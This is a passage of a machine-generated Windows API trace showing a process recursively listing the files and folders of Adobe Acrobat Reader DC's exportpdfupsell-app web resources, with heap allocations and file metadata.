lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0252.541] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0252.542] GetProcessHeap () returned 0xc10000 [0252.542] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0252.542] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="exportpdfupsell-app", cAlternateFileName="EXPORT~1")) returned 1 [0252.542] GetProcessHeap () returned 0xc10000 [0252.542] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0252.542] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0252.547] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.547] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0252.547] GetProcessHeap () returned 0xc10000 [0252.548] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0252.548] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\css\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0252.549] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.549] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-selector.css", cAlternateFileName="MAIN-S~1.CSS")) returned 1 [0252.549] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x126e, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0252.549] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x126e, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 0 [0252.549] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0252.549] GetProcessHeap () returned 0xc10000 [0252.549] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0252.549] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0252.550] GetProcessHeap () returned 0xc10000 [0252.550] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0252.550] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\images\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0252.552] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.552] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="example_icons.png", cAlternateFileName="EXAMPL~2.PNG")) returned 1 [0252.553] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="example_icons2x.png", cAlternateFileName="EXAMPL~1.PNG")) returned 1 [0252.553] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon.png", cAlternateFileName="RHP_WO~2.PNG")) returned 1 [0252.553] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_2x.png", cAlternateFileName="RHP_WO~3.PNG")) returned 1 [0252.553] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover.png", cAlternateFileName="RHP_WO~4.PNG")) returned 1 [0252.553] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover_2x.png", cAlternateFileName="RHP_WO~1.PNG")) returned 1 [0252.553] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 1 [0252.553] GetProcessHeap () returned 0xc10000 [0252.553] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0252.554] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\images\\themes\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0252.555] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.555] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0252.556] GetProcessHeap () returned 0xc10000 [0252.556] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.556] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\images\\themes\\dark\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0252.558] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.558] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="example_icons.png", cAlternateFileName="EXAMPL~2.PNG")) returned 1 [0252.558] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="example_icons2x.png", cAlternateFileName="EXAMPL~1.PNG")) returned 1 [0252.558] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon.png", cAlternateFileName="RHP_WO~2.PNG")) returned 1 [0252.558] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_2x.png", cAlternateFileName="RHP_WO~3.PNG")) returned 1 [0252.559] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover.png", cAlternateFileName="RHP_WO~4.PNG")) returned 1 [0252.559] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover_2x.png", cAlternateFileName="RHP_WO~1.PNG")) returned 1 [0252.559] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover_2x.png", cAlternateFileName="RHP_WO~1.PNG")) returned 0 [0252.559] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0252.560] GetProcessHeap () returned 0xc10000 [0252.560] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.560] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0252.560] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0252.562] GetProcessHeap () returned 0xc10000 [0252.562] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0252.562] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 0 [0252.563] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0252.563] GetProcessHeap () returned 0xc10000 [0252.563] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0252.565] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0252.565] GetProcessHeap () returned 0xc10000 [0252.565] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0252.565] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\js\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0252.566] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.566] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec8f4df, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0252.567] GetProcessHeap () returned 0xc10000 [0252.567] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0252.567] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\exportpdfupsell-app\\js\\nls\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0252.794] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec8f4df, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec8f4df, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.794] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecb15b3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecb15b3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecb15b3, 